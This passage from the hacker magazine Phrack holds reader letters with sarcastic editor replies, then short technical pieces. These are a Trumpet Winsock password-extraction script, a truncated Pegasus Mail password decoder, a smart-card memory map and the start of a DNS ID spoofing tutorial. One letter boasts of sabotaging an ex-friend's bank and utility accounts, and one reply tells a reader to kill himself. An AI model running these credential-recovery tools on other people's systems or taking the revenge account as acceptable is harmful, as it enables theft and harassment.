for phreak in France?
Thank you so lot by advance for your advices.
[ Now, I don't know any French people, but, I think if I met some, they
would like me. I don't give into all that `French people suck` propaganda.
Nono. I think they rock. And the French women are really pretty, too. ]
0x1f>-------------------------------------------------------------------------
I use a macintosh when I ip spoof. Please, if you use a macintosh, send
me a hacked version of TCP/IP an/or a hacked version of Open Transport.
thanks.
[ You're neat. Let's be pen-pals. ]
0x20>-------------------------------------------------------------------------
Hello!
Sorry for borring you, but I've some problems with L2 on FreeBSD-2.2.1R
and decide to ask you about some tech details.
The problem is that 'loki' unable to receive ICMP_ECHO packets from
'lokid'. I dig through kernel netinet sources and AFAIK, there is no way
to pass ICMP_ECHO packets to userland. In ip_icmp.c we have:
ICMP_ECHO->icmp_input()->icmp_reflect()->ICMP_ECHO_REPLY->icmp_send()->net
So, there is no chance to receive ICMP_ECHO in application program, isn't
it?! Unfortunately, I've no access to Linux box, so I can see what's
hapen there.
[ You are correct. In the accopmanying paper I allude to this problem. Net/3
based stacks will not pass ICMP request packets to userland. ]
Is there are any workarounds? I can patch my kernel, but I think this is
not right way. What do you think about this?
[ Running the client and daemon on Net/3 boxes is a problem. ]
p.s. The idea of patch is simple - create copy of packet's mbuf via
m_copy(), send it to rip_output() and only after that pass original packet
to icmp_reflect().
[ Cool! Write the patch up and I'll publish it in a future issue. ]
Regards, Roman.
0x21>-------------------------------------------------------------------------
I would like to put a request out for all so called "hackers" to join up i
can't find nobody to talk to in this Hellhole Richmond,Virginia I want to put
a message up for all VA area code 804 hackers that live near richmond to
email me at DrMischief@juno.com . ThanX
ThanX,
Mischief
ALIAS: DrMischief
[ Here's your chance. ]
0x22>-------------------------------------------------------------------------
Let me start by saying your magazine is great. I read it whenever I have
time. I am a newbie and want to know if you know anyone who could help me
get started who lives/operates in the Morris County, NJ area.
~The Gator
P.S. If you know anyone using the handle 'The Gator', can you please tell
me so I don't offend anyone.
[ You mean you haven't checked in the official codename repository? Oh boy.
I don't envy you. `The Gator` is one of the most sought after nicks in the
history of nicks! You're in for it now. God help you. ]
0x23>-------------------------------------------------------------------------
Hello!
Thanks for such a good e-zine. It has a lot of relevant articles,
and it helped me start hacking. Again. thanks for that.
I was wondering one thing, however: do you know onything about the
Mentor? He wrote the Hacker MAnifesto, and I believe he wrote an article for
phrack once...... Could you give me any help, please? I'm dong this for a
school project....
[ I hear the mentor joined a new wave band and changed his name to Bobbysox. ]
0x24>-------------------------------------------------------------------------
Where can I find a sshd.c trojan?
[ http://www.cs.hut.fi/ssh/#current-version ]
0x25>-------------------------------------------------------------------------
I'd like to know if someone of you ever made some compiling in
C (I'd like something for you) thank's
[ Huh? ]
0x26>-------------------------------------------------------------------------
Hi, I need a FALSE IP APP: Can You Help ME?
[ NO I can't HELP you AT all. ]
0x27>-------------------------------------------------------------------------
I heard about Phrack magaine issue talks about hijacking sessions, which
one is that issues? I can't find it.
[ P50-06 ]
0x28>-------------------------------------------------------------------------
I'm trying to reach all the real hackers and phreaks (not stupid warez
lamers) in the 601 area code, especially those around Lauderdale county,
so I figured Phrack would be a good place to start.
A few friends and I are gonna be starting some get-togethers at the new
Bonita Lakes Mall in Meridian when it opens up later this October
(probably long past by the time the issue of Phrack this will be in
comes out).
All fellow readers interested in reviving the HP scene in the East
Mississippi-West Alabama area are welcome to come (reviving assumes that
there was ever a scene here in the first place. We're quite boring
hicks in this part of the country).
If you're planning on coming, or want more info, please E-Mail me at
weaselsoftware@hotmail.com
Even if we just have the locals, we should have a lot of fun, so if all
goes well, I just might be writing an article for Phrack about it, if
ya'll would be interested.
[ We would'nt be. Ya'll. ]
Cheers,
-|/|/easel
0x29>-------------------------------------------------------------------------
I'v have a few questions about Juggernaut:
1) can it capture ethernet packet ?
[ It can capture many. ]
2) can it act like sniffer ?
[ Shure. ]
3) which compiler
[ GNU C compiler ]
4) does it have to run on root
[ No, it has to run as root. ]
5) which plateform does it work on?
[ Linux (legacy version) Linux, BSD, Solaris (current unreleased version) ]
0x2a>-------------------------------------------------------------------------
You could say I'm a newbie or novice. I would be very greatful if you
could send info on anything on beginning hacking. Like what computers are
the best and what additional accessories you need. So in short please send
any info you could. Thanks.
[ WHAT AM I DOING? I AM PUBLISHING PHRACK. WHAT IS PHRACK ABOUT? PHRACK
IS ABOUT DISSEMINATING ENTROPIC INFORMATION TO ANYONE WHO WANTS IT. ARE
YOU CONFUSED? IT WOULD APPEAR SO. ]
0x2b>-------------------------------------------------------------------------
I have heard about your magazine. I am not new but I am not experienced
to this side. Would you please guide me to where I would begin.
pool
[ P51-02@0x2a ]
0x2c>-------------------------------------------------------------------------
Kong-ratz Guyz! You made it onto C|NET Last night at 10 on (Sept) the 5th.
They were bashing you! Damn..... Well thats it. C-ya!
[ Hrm. ]
0x2d>-------------------------------------------------------------------------
After reading Phrack for years and being in the computer industry for
18+ years, I thought it was time that I write in. I have been reading Phrack
for about 6 years now. Even talked to Erik Bloodaxe a few times in
regards to Banyan Vines a couple of years ago when I was in the military.
The scene seems to have changed so much now. It used to be full
disclosure for the most part. Now everyone is so paranoid of sharing what
they know, since everyone will rush a patch out for the latest exploit.
How do you think others learned? Hacking is and always will be about
exploring the limits of systems and networks. As you learn and share,
others can expand their knowledge base. I started back on Atari 400s
years ago coding in BASIC. I know many will laugh at that very thought,
but it was a start. The groups back then were very tight, but also
willing to help each other. If you showed a willingness to learn, and
took the time to learn, instead of just leeching, it was amazing what
others would do to help you.
I have been digging through tons of sites lately, most are outdated hacks
from what I have seen. Most places patch as fast something hits the `Net.
But at least you can learn from the code if you take the time. I want to
sends congrats out to Phrack. You guys along with a handful of others make it
a point to keep sending things out to us in the community. One of the
comments I am sure to hear is, then why don't you contribute things? I have
not to Phrack directly, but that will change soon. I don't have a lot that is
that great, that hasn't been patched for already. Mine is more tinkering and
learning. Anyway, I am sure I have rambled enough for now. Just thought I
would give my $.02 worth. Keep up the good work at Phrack!
L8R,
D-Man
0x2e>-------------------------------------------------------------------------
I am looking for a REALLY good telenet software and an also REALLY good
[ I like the telnet software that comes with 4.4BSD. ]
scanner software. Can you refer me anywhere?
[ Scanners was a terrifiing movie! Why would you want to scan someone?!@ ]
I also would like to know how you decode the password in the passwd
file.
For example it writes:
john: x :9999 :13: John Johnson:/home/dir/john:/bin/john
[ 'x' is a shadow password token. It cannot be decrypted. Futhermore:
Unix passwd encryption is based on a modified version of DES. The user
enters her login and password at the prompts. The user entered password is
used as a key to encrypt a 64-bit block of NULLs. The first seven bits of
each character are extracted to form a 56-bit key. (The other eight are
used for parity.) This implies that only eight characters are significant to
a password. The E-table is then modified using the salt, which is a 12-bit
value, coerced into the first two chars of the stored passwd. The salt's
purpose is to make precompiled passwd lists and DES hardware chips
ineffectual (or more difficult to use). Then, DES is invoked for 25
iterations on the block of zeros. The output is 64-bits long, and is then
coerced into a 64 character alphabet (0-9, A-Z, a-z, ".", "/"). This
involves translations in which several different values are represented by
the same character. Unix passwd crypts are the product of a one-way hash.
Information about the key is dropped in every iteration. Bits are LOST in
the process. crypt(3), therefore, CANNOT be decrypted, reversed, or
otherwise subverted from any type of scrutiny of it's output. ]
0x2f>-------------------------------------------------------------------------
To the Editor:
I have to give out props to the job done on Phrack51.....it just keeps
getting better and better. Iv'e enjoyed Phrack 1-50 but i must say that since
the current staff of the mag took over iv'e really noticed a marked
improvement in the qaulity and content of the articles. Thanx for making this
magazine available to all of us out here who are reading and learning But just
one thing wheres my pics of Mila Jovavich in the nude!!!!!!
NMEwithin
[ http://www.infonexus.com/~daemon9/PIX/milla4.jpg ]
0x30>-------------------------------------------------------------------------
a story of adolencent revenge..by a not so adolencent at 3:37 am
[ Be warned. This is long. ]
So here i sit surrounded by an ashtray full of butts, empty beer cans, empty 2
liters, a giant pile of papers, a stack of cd's, dirty dishes, tangled cords,
red and green lights, the ticking of the furnace and blurred vision. Just got
back from the pool hall and pissed off. why? because an old friend is getting
married tomorrow and I was not invited. Well WAS a friend is more to the point.
Betrayal in any form is a great primer for hatred. I am a twenty something
(hate that fucking phrase) loser with no clue on what the future holds..but I
find pleasure in figurative masterbation with MY processor. Match wits with
this bitch, tell IT what to do and make it my slave...cheap thrill. Having
power over something or someone is great while it lasts..as long as you do not
have a concience. But I was wronged, so it is justified..my actions I mean...
right? My girlfriend is asleep upstairs and thinks I sit up a nights doddeling
to porn sights. I tell her that my pc is not working right, so that is why I am
always working on it...that fucker bill gates. If he was a smart as the world
beleives he is, these activities would not be so easy. Back to the point.
(sorry! had a few too many). So I sign on...search for allies, find them among
other assholes that have somehow learned one of my handles. My buddies are up
to some funny shit, not total anarchy, but funny none the less. So what do I
do...I tell them that I am in a bad state of being at the moment..they ask why,
"Time for pain!" is what I read. You know how it is. A friend since first
grade on through college just fucked you for the 100th time. I feel sick about
it, but none the less it's time to put to work the tricks of the trade. I give
my TRUE friends the skinny on my intentions, they ablige with laughter and
frothing mouths. I cough up his SS#, home, phone, bank, work, license, and
online accounts. Too late to turn back now. It's funny how one will actually
take the gas pipe for virtual strangers that one has formed an online bond
with, and will enlist them in a sceme to fuck a real time friend. (ex-friend).
Number one, divide up the tasks. Number two, failure is NOT an option. N!umber
three, ruin wedding. So here we go...secretary of state was a blow off, no
brainer. PhoneCo a bit tougher (but been there before). Bank..oh the bank..
online banking 24/7 was such a good idea. My collective cohorts and I were
like pitbulls fighting over the neighbors cat. Giggeling like schoolgirls. HEY
we are elite! or so we think..most of our shit (not all) was built by others
before us. We did modify code, but the backbone was not our own. Now it is
4:30 am and the shit is flying...after reading the "underground" being a
martyr seems cool. My head is spinning, but I have to remain focused at all
times..it is hard. Account activity...money is due to the banquet facility
tomorrow. At least the balance of the shindig after the initial deposit. Check
numbers and cleared transactions. He has no fucking clue! The best part was
that he had mentioned writing a check for his balance only one day before....
but the amount owed was not cleared yet on his account. So time to insert!
--0.00 balance. Too easy. OK, fine. Just a bounced check to deal with. Phones
turned off (schedualed termination for lack of response to notices sent). Oh
yeah..did I mention Utilities? Bank takes care of payment...how convenient.
Car payments, insurance, mortgage the whole nine. Zip, Zero, Zed. A repeater.
Constant (0.00). I am an asshole, I know, but being fucked by a 'FRIEND" is
troubeling and unforgivable in this situation. One more thing..Company Voice
mail...fucked. Left a text to speech recording to boss, too funny and
implicating to dillhole. It's like giving beavis and butthead a small piece of
gray matter that works for only bad things. I should of been invited to this
wedding, but never the less, he is marrying a whore. This may sound vindictive
or like sour grapes, but totally true. So actaully we are doing him a service,
he just does not know it. The "ruin the wedding" part is actually out. It will
happen and the avalanche of our actions will not start until the following
week. But at least i did something, right? What a stupid thing to concentrate
on. I am an idiot with things I should not have. Most of my collective friends
are striking political targets...I am bouncing a check. But I am over it now.
Time to sit back and wait...wait for the phone call from a mutual friend to
give me the dirt. I guess I am the type of guy that would get a boner if I
reset his sprinkler timer to go off when he is trying to get in his car.
Totally retarded, but I would laugh for days. Whats wrong with me? I am now
sitting here in my self-made dungeon scratching my head saying to myself "boy
that was way harsh". I know some people would pose the question, "what did he
do to desrve this type of retaliation?". You know what it's like, you have
been there at one time, and everyone reaches a point where counter measures
are warranted. Case closed. What we did was but an inconvenience, but will be
remedied. Nothing was left beyond repair. It's at these times! (no matter how
trivial) you find out who is willing to take a bullet for you. And in some
fucked up way, that is important. At least it is to me. it's 7:49 am and time
for the sandman.
SychoSiS - The Collective.
[ I am not sure which saddens me more, the fact that you actually spent several
hours writing this, or the fact that I spent several minutes reading it. Now
Phrack's loyal readers can feel my pain and read this for themselves. ]
0x31>-------------------------------------------------------------------------
To whom it may concern:
I believe that I submitted an article to your publication on hacking the
phones at your local WAL~MART, please be advised that I submitted the
same article to 2600 magazine and blacklisted 411, however I submitted
the article to 2600 magazine before yours or blacklisted, they have
decided to publish my article, and there fore I wish to inform you of
this so there is no confusion.
Thank you for your attention,
Pirho
--
Brought to you by Pirho and the International Brother Hood Of Frat
Houses.
[ We can only hope that your article brings Emmanuel and the rest of the 2600
editorial team as much amusement as it brought us. Not from going and
harassing people at Walmart, no. Mostly from laughing at you for writing
it. We'll leave the articles on hacking things like Walmart and Disney
World for publication by 2600. We like to think we still have a reputation
for quality. -alhambra ]
0x32>-------------------------------------------------------------------------
Dear..sir
I had readed yours doc.I'm interesting
about hacking art and learing it.I would like
to ask you.How can I hack my ISP?It's dumbing
I know.But I don't know to ask anybody.
[ I wonder if the aleph1speak to English translator has a `Yoda setting`... ]
0x33>-------------------------------------------------------------------------
Hey, I just finished a two hour picture tour at your webpage, looked at
every single photo on that hosted there, I know for one thing, with all the
film you have used, Kodak must love you! The pic's were a riot, matter of
fact, I almost had an accident in my pants I was laughing so hard. Seam's
[ Maybe you should get some rubber pants or those adult diapers. ]
like you and your friends know how to have fun (my kind of people) all we
have up here is half-wit clowns. Anyway, enuf with the bullsh*t,
I just wanted to ask you who owns "INN", if it is you, how did you pay for
all that hardware? Where are you located, Cali I assume? How old are you?
Any chance of meeting somewhere to chat one day (IRC)?
If it's to personal, I understand, if not, reply..
[ Are you coming on to me? ]
Regards -Tyrant
0x34>-------------------------------------------------------------------------
[ ...Regarding the 'Teardrop' IP fragmentation bug... ]
Dear To whom it concearns,
I do not think you should have posted this about your bug you found.
Alot of maniacs got a hold of it and are crashing servers everywhere. The
net has turned into anarchy. I have about 4 servers down that i patched. But
[ The Internet is anarchistic by nature. ]
the patch doesnt seem to work.
[ The patch works fine. Perhaps it is you that is broken? ]
I do not think you should have posted that publically like that.
[ Thanks. I'll make sure to file your opinion in the ignorance-folder. ]
0x35>-------------------------------------------------------------------------
I'm just wondering when is defcon and where can I find out about little
bit more?
Regards.
Pav.
[ Defcon is traditionally held during the Summer in Sin City. Damn I love
that town. http://www.defcon.org for more info, although the future of
this Con is in question. ]
0x36>-------------------------------------------------------------------------
Where can I find ways to make Long Distance phone calls without getting
billed (and prefferably without making any boxes?)
[ A phone line for which you do not pay the bill. ]
I'm not an idiot, I just thought I'd ask. :)
[ Is that open to conjecture? ]
0x37>-------------------------------------------------------------------------
To Whom It May Concern:
I enjoy reading your stuff in Phrack and I pay attention to those stuff
that is writen about unix reading stuff. I am just wonder if there is any way
to play tricks or hack linux 1.2.13. It also runs pine under it and I think
there is a trick with .rhosts in pine and ls /tmp. Could you please tell me
more stuff about this?? I could download the /etc/passwd file but then I have
to use a dictionary to hack it and is there away of hacking it without using a
dictionary?? And how do I delete my last login file?? Thanks!!
Your Truly
Tag
[ Linux 1.2.13 is one of most inpenetrable versions of Unix out there today.
Not only is the Linux O/S reknown for its stalwart and inpenetrable security
but the 1.2.13 kernel was where Alan, Eric, Linus and the rest of crew
peaked. That kernel revision is all-but immune to every known form of
attack (with the possible exeception of quantum state disassembly). Your
best bet is to kill yourself now. ]
0x38>-------------------------------------------------------------------------
How ye all doin there at Phrack, hope your all keepin well.
Anyways before I say anything I'll admit it, I'm a newbie, not a lamer a
newbie. I've read all the hacking files I can get my hands on. There's only
one small problem...I live in Ireland. A few weeks ago I was given an article
written by "Hackwind" (1992 I think) about the hacking scene in Ireland.
Believe you me. It's even worse than he says it is. The main problem is that
all the files written don't relate to Ireland in any way . I don't even know
ONE bbs in Ireland and NO ONE I have spoken to does either. I don't expect you
to know much about the hacking scene in Ireland but if you do know anything,
anything at all could you please send it to me. I'm dying for information.
Information that I can't get my hands on. If you don't know anything about it
perhaps you know of some contacts.
Please let me know. Cheers,
N0_eCH0
PS. Keep up the good work at Phrack.
[ Ok, someone in Ireland help this guy out. ]
0x39>-------------------------------------------------------------------------
hello my name is FUSION from a group called digital elite alliance and i
was wondering if you would like to become allies with us. If so e-mail me back
at XXXX@prodigy.net and then i'll get back to you.
[ Don't hold your breath. Wait. On second thought, do. ]
0x3a>-------------------------------------------------------------------------
Daemon9,
Hi! I'd like to ask you a very common question. Maybe everyday you have
received mails asking it. Yes, what I want to know is how to become a great
hacker.
[ Swing from the shoulders, not from the arms. ]
I am a freshman in university. I wanna to be a hacker, not for doing
damage to others, but in my own view, being hacker require a lot of
knowledge and creative. I aim at knowledge and want to find out new tech,
while not just using others'. In fact, I have read many articles about how
to become a hacker. And I have done them.
Now, I have mastered C, unix shell, and some of TCP/IP.
So what should I going to learn if I want to be a great hacker like you?
[ If you have mastered the aforementioned topics, you are far greater then I. ]
I am learing socket programming and IP-spoofing now, do you have any resource
on the net to recommend to me?
Please write me back. Hoping to hear from you soon.
Liu Jiangyi
--
Daemon9,
Hi, I forgot to ask you another question. Should I join a hacker group?
And have you joined it? If so, please tell me which group I should join.
And the mailing list, which one should a hacker join in your own view.
Hoping to hear from you soon!
Liu Jiangyi
0x3b>-------------------------------------------------------------------------
[ A few letters to nirva and I. I swear to GOD these aren't made up. I
*couldn't* make stuff like this up. ]
Hey Route,
I was wondering if you knew what colours Nirva dyed his hair for
defcon and who made the dye, I was also wondering if you had a copy
of LISP lying around somewhere. Are you going to the KMFDM concert
this friday by any chance? I was wondering if you have ever been bust
for hacking or phreaking and how you manage to hack with the constant
surveillance by the man? Also if you don't mind telling me, how did
you get into hacking and did you have a mentor at any stage?
Ciao and thankx
--
Hey Nirva,
I was wondering how you got Real Kitty to drink coke out of those
bottles from McDonalds (or is he just chewing on the straw). I was
also wondering who Mike is currently going out with, not to mention
you as well? If you could do me a favour and try to convince Mike to
give me some webspace as well, I would really appreciate it.
Thankx and Ciao
--
Hey Mike,
How would you like to win a date win with carmen electra, if you
would like to, go on over to durex.com and there's a link from there
to the american site with the entry form to win the date, and being
such a brilliant hacker I don't see how you couldn't manage to rig
the contest ;)
Thankx and Ciao
0x3c>-------------------------------------------------------------------------
Arggh , think of me what you will, but i Can't get over a pic on yer
site of nirva, prolly one of the l33t3st looking individuals i've seen,
in personal appearance (no, i aint gay), but anyway .. what are those
things on his arms ? I saw that photo with the caption "nirva has
rickets" or something, but are they implants ? ie part of his
image/appearance or where they sum sort of weird disease he picked up ?
[ Due to the vitaman-D embargo of 1975 - 1978 in New Mexico, nirva contracted
the rare disease osteomalacia (rickets). He has it mostly licked these
days thanks to heavy amounts of vitamn-D laced EMF radition treatment he
undergoes 2 times a week. Every now and then, however, he lapses, as you
can see from the aforementioned picture. ]
tah man .. great page btw
speaxx
0x3d>-------------------------------------------------------------------------
----[ EOF
---[ Phrack Magazine Volume 8, Issue 52 January 26, 1998, article 03 of 20
-------------------------[ P H R A C K 5 2 L I N E N O I S E
--------[ Various
0x1>-------------------------------------------------------------------------
Upon discovering Doctor Jeep's "Trumpet Winsock Password Hacker" in P51-03, I
felt obligated to share a small piece of code that I don't like to admit
that I created, far earlier than the esteemed Jeep's published work. As his
requires access to a Pascal compiler and does not seem to be coded with
portability in mind, the fact that my script requires Trumpet itself to run
does not seem too great a hindrance. The irony is that not only is the
"cipher" a simple obfuscating XOR, but that Trumpet itself will decode it
for you.
password.cmd
# Put in Trumpet Winsock directory, run under "Dialer/Other"
# Cannot currently use any file other than trumpwsk.ini,
# apparently due to implementation errors in the "load" function
display \n
display "Trumpet Password Thief 1.0, 8-18-95"\n
display \n
if [load $username]
display "username: "
display $username\n
else
display "ERR: cannot load username"\n
end
if [load $password]
display "password: "
display $password\n
else
display "ERR: cannot load password"\n
end
display \n
- anonymous
0x2>-------------------------------------------------------------------------
Another password decoder for ya... written long ago, I just never bothered to
release it...
peg-dec.c
/*
* Pegasus Mail Password Decoder v1.0 by Belgorath
*/
#include
/* Decoding/Encoding Tables */
int dec1[1]= { 44 };
int dec2[2]= { 16, 21 };
int dec3[3]= { 10, 22, 28 };
int dec4[4]= { 37, 28, 21, 7 };
int dec5[5]= { 21, 22, 37, 28, 9 };
int dec6[6]= { 22, 15, 28, 42, 17, 2 };
int dec7[7]= { 15, 17, 21, 31, 0, 12, 19 };
int dec8[8]= { 9, 2, 7, 20, 44, 22, 28, 23 };
int *decz[8] = { dec1,dec2,dec3,dec4,dec5,dec6,dec7,dec8 };
int decode_char(int numch, int ch, int pos)
{
ch-=decz[numch-1][pos-1];
if(ch
0x3>-------------------------------------------------------------------------
:----------------------------:
Siemens Chip Card Technology
. by Yggdrasil .
:----------------------------:
Chip cards differ from one another in memory size, type of memory (PROM or
EEPROM), security logic and micro-controller. This article will discuss the
Siemens SLE4404 chip card technology.
The SLE4404 is employed for electronic purse cards and bank transactions,
cellular telephony (pre-payed cards), user IDs for access control, etc. (some
examples: SmartCard, ViaCard and Italian Bancomat). Its data can be accessed
through a simple TTL serial channel, providing a +5 Vcc power supply from an
external source.
Inside the chip
~~~~~~~~~~~~~~~
The chipcard has at its disposal EEPROM memory consisting of a 416-bit matrix
(each row is 16-bits) that is protected by security logic providing access
control.
This is the logic diagram:
+------------------------+ +------------------+
| Address Counter | --> | Column Decoder |
+------------------------+ +------------------+
^ | | 16
| v v
+-----------+ +---------+ +------------------+
C3,C8,C2,C5 --> | Control & | | Row | | User mem 208 bit |
C1 (Vcc) --> | Security | | Decoder | --> | Sec unit 192 bit |
C7 (I/O) | Logic | | | 26 | Special mem unit |
+-----------+ +---------+ +------------------+
^ ^
| |
+----------------------------------+
The SLE4404 memory is subdivided in three main memory blocks: one is read
only (a "PROM" containing the manufacturer code and/or a serial number and
an expiration date), the second is both readable and writeable (user memory)
and the last block cannot be written to unless the lock-out fuse has been
fused.
This is the memory map:
BLOCK TYPE SIZE (BIT) ADDRESS READABLE WRITEABLE ERASEABLE
-----------------------------------------------------------------------------
Manufacturer code 16 0-15 Yes No No
Application ROM 48 16-63 Yes No No
User code 16 64-79 [fuse] U.C. U.C.
Error counter 4 80-83 Yes Yes U.C.
EEPROM #1 12 84-95 Yes Yes U.C.
EEPROM #2 16 96-111 Yes U.C. U.C.
Frame memory block
- F.M. config 2 112-113 Yes Yes U.C./R.C.
- Frame memory 206 114-319 [cfg] [cfg] U.C./R.C.
Frame code 32 320-351 [fuse] [fuse] [cfg]
Frame counter 64 352-415 Yes Yes [cfg]
-----------------------------------------------------------------------------
Meaning of abbreviations:
U.C. - User code required
(each time the code is entered the error counter is decreased)
R.C. - Frame code required
(each time the code is entered the frame counter is decreased)
[fuse] - Operation allowed ONLY IF lock-out fuse is not fused
[cfg] - Operation allowed according to frame memory configuration
Frame memory configuration table:
BIT 112 BIT 113 MEMORY MODE READABLE WRITEABLE
-----------------------------------------------------------------------------
0 0 Secret ROM Yes No
0 1 R.O.M. Yes No
1 0 Secret PROM U.C. U.C.
1 1 P.R.O.M. U.C. U.C.
-----------------------------------------------------------------------------
The first 16-bit block is for the Manufacturer Code. The following 48-bit
block is called Application ROM, containing another code (Manufacturer sub
code or info, serial number, sub-type of card, etc).
The User Code is the access code (PIN) used to read/write/erase memory.
This code can be modified provided that the fuse was not fused, while the
error counter value can be modified even if the fuse was fused...
Please note that access to memory is blocked after four incorrect access
trials (checked by the counter). The same is for the Frame Code and the
Frame [error] Counter (note that the number of incorrect accesses is limited
to three trials instead of four).
Finally, the Frame Memory is generally used for storing personal user
information or the credit limit (money that can be fetched in a bank
transaction, or the remaining "virtual" credit that a pre-payed cellular card
contains).
The Pin-out
~~~~~~~~~~~
This is the Siemens SLE4404 pin-out (N.C. stands for Not Connected):
+-------+-------------------+
| C 1 | C 5 | Contact Pin Info
| | |
+-------+ +-------+ 1 6 Vcc +5V
| C 2 | | C 6 | 2 5 Reset
| | | | 3 4 Clock
+-------+ +-------+ 4 3 Test input - N.C.
| C 3 | | C 7 | 5 8 Ground
| | | | 6 7 N.C.
+-------+ +-------+ 7 1 Bi-directional I/O data line
| C 4 | | C 8 | 8 2 Control input (data change)
| | | |
+-------+-----------+-------+
"I am for ever walking upon these shores,
betwixt the sand and the foam.
The high tide will erase my foot-prints,
and the wind will blow away the foam.
But the sea and the shore will remain
For ever."
-- Gibran K. Gibran
0x4>-------------------------------------------------------------------------
___ ______ _ _
/ \ | _ \ | \ / |
| / \ | | | \ | | \_/ |
| |___| | | |_ / | | \_/ |
..oO THE | --- | | / | | | | CreW Oo..
''' ''' ''''''' '''' ''''
presents
DNS ID Hacking
--[1]-- DNS ID Hacking Presentation
You might be wondering what DNS ID Hacking (or Spoofing) is all about. DNS ID
Hacking isn't a usual way of hacking/spoofing such jizz or any-erect. This
method is based on a vulnerability on DNS Protocol. More brutal, the DNS ID
hack/spoof is very efficient and very strong as there is no generation of DNS
daemons that escapes from it (even WinNT!).
--[1.1]-- DNS Protocol mechanism explanation
In the first step, you must know how the DNS works. I will only explain the
most important facts of this protocol. In order to do that, we will follow
the way of a DNS request packet from A to Z!
Name resolution example:
The client (bla.bibi.com) sends a request of resolution of the domain
"www.heike.com". To resolve the name, bla.bibi.com uses "dns.bibi.com" for
DNS. Let's take a look at the following picture..
/---------------------------------\
| 111.1.2.123 = bla.bibi.com |
| 111.1.2.222 = dns.bibi.com |
| format: |
| IP_ADDR:PORT->IP_ADDR:PORT |
| ex: |
| 111.1.2.123:2999->111.1.2.222:53|
\---------------------------------/
...
gethosbyname("www.heike.com");
...
[bla.bibi.com] [dns.bibi.com]
111.1.2.123:1999 ---> [?www.heike.com] ------> 111.1.2.222:53
Here we see our resolution name request from source port 1999 which is asking
to DNS on port 53 (note: DNS is always on port 53). Now that dns.bibi.com has
received the resolution request from bla.bibi.com, dns.bibi.com will have to
resolve the name:
[dns.bibi.com] [ns.internic.net]
111.1.2.222:53 --------> [dns?www.heike.com] ----> 198.41.0.4:53
dns.bibi.com asks ns.internic.net who the root name server for the address
of www.heike.com is, and if it doesn't have it and sends the request to a name
server which has authority on '.com' domains (note: we send a request to the
Internic because it could have this request in its cache).
[ns.internic.net] [ns.bibi.com]
198.41.0.4:53 ------> [ns for.com is 144.44.44.4] ------> 111.1.2.222:53
Here we can see that ns.internic.net answered to ns.bibi.com (which is the DNS
that has authority over the domain bibi.com), that the name server of for.com
has the IP 144.44.44.4 (let's call it ns.for.com). Now our ns.bibi.com will
ask to ns.for.com for the address of www.heike.com, but this one doesn't have
it and will forward the request to the DNS of heike.com which has authority
for heike.com.
[ns.bibi.com] [ns.for.com]
111.1.2.222:53 ------> [?www.heike.com] -----> 144.44.44.4:53
The answer from ns.for.com:
[ns.for.com] [ns.bibi.com]
144.44.44.4:53 ------>[ns for heike.com is 31.33.7.4] ---> 144.44.44.4:53
Now that we know which IP address has authority on the domain "heike.com"
(we'll call it ns.heike.com), we ask it what's the IP of the machine
www.heike.com.
[ns.bibi.com] [ns.heike.com]
111.1.2.222:53 -----> [?www.heike.com] ----> 31.33.7.4:53
We now have our answer:
[ns.heike.com] [ns.bibi.com]
31.33.7.4:53 -------> [www.heike.com == 31.33.7.44] ----> 111.1.2.222:53
Great we have the answer, we can forward it to our client bla.bibi.com.
[ns.bibi.com] [bla.bibi.com]
111.1.2.222:53 -------> [www.heike.com == 31.33.7.44] ----> 111.1.2.123:1999
Now bla.bibi.com knows the IP of www.heike.com.
Now let's imagine that we'd like to have the name of a machine from its IP, in
order to do that, we proceed a bit differently as the IP will have to be
transformed.
Reverse name lookup resolution:
100.20.40.3 will become 3.40.20.100.in-addr.arpa
This method is only for the IP resolution request (reverse DNS).
Let's look at a practical example of when we take the IP address of
www.heike.com (31.33.7.44 or "44.7.33.31.in-addr.arpa" after the translation
into a comprehensible format by DNS).
...
gethostbyaddr("31.33.7.44");
...
We send our request to ns.bibi.com:
[bla.bibi.com] [ns.bibi.com]
111.1.2.123:2600 -----> [?44.7.33.31.in-addr.arpa] -----> 111.1.2.222:53
Which is forwarded to ns.internic.net:
[ns.bibi.com] [ns.internic.net]
111.1.2.222:53 -----> [?44.7.33.31.in-addr.arpa] ------> 198.41.0.4:53
ns.internic.net will send the IP of a name server which has authority on
'31.in-addr.arpa'.
[ns.internic.net] [ns.bibi.com]
198.41.0.4:53 --> [DNS for 31.in-addr.arpa is 144.44.44.4] -> 111.1.2.222:53
Now ns.bibi.com will ask the same question to the DNS at 144.44.44.4:
[ns.bibi.com] [ns.for.com]
111.1.2.222:53 ----->[?44.7.33.31.in-addr.arpa]------> 144.44.44.4:53
And so on. The mechanism is nearly the same that was used for name resolution.
--[1.2]-- DNS packet header
Here is the format of a DNS message :
+---------------------------+---------------------------+
| ID (the famous :) | flags |
+---------------------------+---------------------------+
| numbers of questions | numbers of answer |
+---------------------------+---------------------------+
| number of RR authority |number of supplementary RR |
+---------------------------+---------------------------+
| |
\ \
\ QUESTION \
| |
+-------------------------------------------------------+
| |
\ \
\ ANSWER \
| |
+-------------------------------------------------------+
| |
\ \
\ Stuff etc.. No matter \
| |
+-------------------------------------------------------+
--[1.3]-- Structure of DNS packets.
__ID__
The ID permits us to identify each DNS packet, since exchanges between name
servers are from port 53 to port 53, and more it might be more than one
request at a time, so the ID is the only way to recognize the different DNS
requests. Well talk about it later..
__flags__
The flags area is divided into several parts :
4 bits 3 bits (always 0)
| |
| |
[QR | opcode | AA| TC| RD| RA | zero | rcode ]
|
| |__|__|__| |______ 4 bits
| |_ 1 bit
|
1 bit
QR = If the QR bit = 0, it means that the packet is a question, otherwise
it's an answer.
opcode = If the value is 0 for a normal request, 1 for a reserve request, and
2 for a status request (we don't need to know all these modes).
AA = If it's equal to 1, it says that the name server has an authoritative
answer.
TC = No matter
RD = If this flag is to 1, it means "Recursion Request", for example when
bla.bibi.com asks ns.bibi.com to resolve the name, the flag tells the
DNS to assume this request.
RA = If it's set to 1, it means that recursion is available. This bit is
set to 1 in the answer of the name server if it supports recursion.
Zero = Here are three zeroes...
rcode = It contains the return error messages for DNS requests if 0, it means
"no error", 3 means "name error"
The 2 following flags don't have any importance for us.
DNS QUESTION:
Here is the format of a DNS question :
+-----------------------------------------------------------------------+
| name of the question |
+-----------------------------------------------------------------------+
| type of question | type of query |
+--------------------------------+--------------------------------------+
The structure of the question is like this.
example:
www.heike.com will be [3|w|w|w|5|h|e|i|k|e|3|c|o|m|0]
for an IP address, the format remains the same.
44.33.88.123.in-addr.arpa would be:
